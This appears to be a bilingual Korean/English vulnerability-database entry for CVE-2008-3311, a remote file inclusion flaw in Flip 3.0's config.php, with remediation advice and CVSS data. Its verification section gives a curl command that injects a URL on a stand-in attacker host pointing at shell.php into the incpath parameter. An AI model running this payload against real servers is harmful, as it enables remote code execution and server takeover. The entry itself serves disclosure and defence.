🔍 CVE-2008-3311

7.5
CVSS Score
HIGH
2008-07-25
2026-04-23 00:35
✅ 완료

🇰🇷 한글 설명

Adam Scheinberg Flip 3.0의 config.php 파일에 존재하는 PHP 원격 파일 포함(RFI) 취약점으로, 공격자가 incpath 파라미터를 통해 악의적인 URL을 전달하여 임의의 PHP 코드를 실행할 수 있습니다. 이를 통해 서버에 대한 완전한 제어가 가능하며, 데이터베이스 접근, 파일 시스템 변조, 추가 공격의 발판으로 악용될 수 있습니다.

💡 쉬운 설명

Flip 3.0 소프트웨어의 설정 파일에 허점이 있어서, 해커가 인터넷을 통해 악성 코드를 서버에 실행시킬 수 있습니다. 이는 서버의 모든 데이터가 노출되고 손상될 수 있다는 의미입니다.

🇺🇸 원문 (English)

PHP remote file inclusion vulnerability in config.php in Adam Scheinberg Flip 3.0 allows remote attackers to execute arbitrary PHP code via a URL in the incpath parameter.

📍 영향받는 시스템

Adam Scheinberg Flip version 3.0 and potentially earlier versions

⚔️ 공격 벡터

Remote File Inclusion (RFI) via unsanitized incpath parameter in config.php allowing arbitrary PHP code execution

🛡️ 대응 방법

Upgrade to patched version, implement strict input validation on incpath parameter, disable allow_url_include in PHP configuration

🔧 검증 코드

명령어는 incpath 파라미터에 외부 URL을 주입할 수 있는지 테스트하며, PHP 에러 또는 외부 코드 실행 흔적이 있으면 취약점이 확인됩니다.

Shell / Script 
curl -s 'http://target/config.php?incpath=http://attacker.com/shell.php' | grep -i 'php\|parse error' && echo 'VULNERABLE' || echo 'Not immediately vulnerable'

📊 CVSS Vector String

CVSS Vector 
AV:N/AC:L/Au:N/C:P/I:P/A:P

💻 영향받는 소프트웨어

PHP